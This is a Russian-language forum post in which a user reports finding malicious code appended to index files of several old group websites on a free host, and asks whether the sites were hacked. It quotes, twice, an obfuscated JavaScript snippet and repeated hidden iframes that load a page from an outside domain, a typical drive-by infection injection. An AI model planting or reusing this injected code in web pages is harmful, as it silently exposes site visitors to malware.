у Хомячка JS-вирусы? =-O
Собственно сабж.... как-то зашел на заброшенный сайт своей группы..... и оппачки... полезли всякие командные строки.... начали развиваться непонятные деревья из процессиков.... и т.п.
Зашел на сайтик по фтп.... и увидел что к файлику index.txt приписано нечто типа (текст помещен не весь, весь - 35 Кб кода... - все в одну строку):
<script language=javascript>document.write(unescape('%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%6a%61%76%61%73%63%72%69%70%74%22%3e%66%75%6e%63%74%69%6f%6e%20%65%6e%63%6f%64%65%28%73%74%72%29%7b%76%29%3b%7d%3c%2f%73%63%72%69%70%74%3e'));encode('*8Hnkwfrj*75xwh*8I*77myyu*8F44rtytltspn3nskt4o4nsij%7D3umu*77*75kwfrjgtwijw*8I*775*77*75%7Cniym*8I*776*77*75mjnlmy*8I*776*77*75xhwtqqnsl*8I*77st*77*8J*8H4nkwfrj*8J5')</script><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME>
Зашел на сайтик по фтп.... и увидел что к файлику index.txt приписано нечто типа (текст помещен не весь, весь - 35 Кб кода... - все в одну строку):
<script language=javascript>document.write(unescape('%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%6a%61%76%61%73%63%72%69%70%74%22%3e%66%75%6e%63%74%69%6f%6e%20%65%6e%63%6f%64%65%28%73%74%72%29%7b%76%29%3b%7d%3c%2f%73%63%72%69%70%74%3e'));encode('*8Hnkwfrj*75xwh*8I*77myyu*8F44rtytltspn3nskt4o4nsij%7D3umu*77*75kwfrjgtwijw*8I*775*77*75%7Cniym*8I*776*77*75mjnlmy*8I*776*77*75xhwtqqnsl*8I*77st*77*8J*8H4nkwfrj*8J5')</script><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME><IFRAME name="StatPage1" src="http://hard-tsunami.info/xep/in.php?adv=3" width=5 height=5 style="display:none"></IFRAME>
дай думаю зайду на другой... также давно заброшенный сайт сваей группы :D и опять такая ж шляпа и на нем была.... :confused:
Либо меня ломанули.... либо? :yogi:
P.S.: как минимум на трех сайтах на хомяке обнаружил такую "дописочку"... в двух случаях - чисто в самый конец файла index.txt/index.html, в третьем - вставка в середину....:confused: :wow:
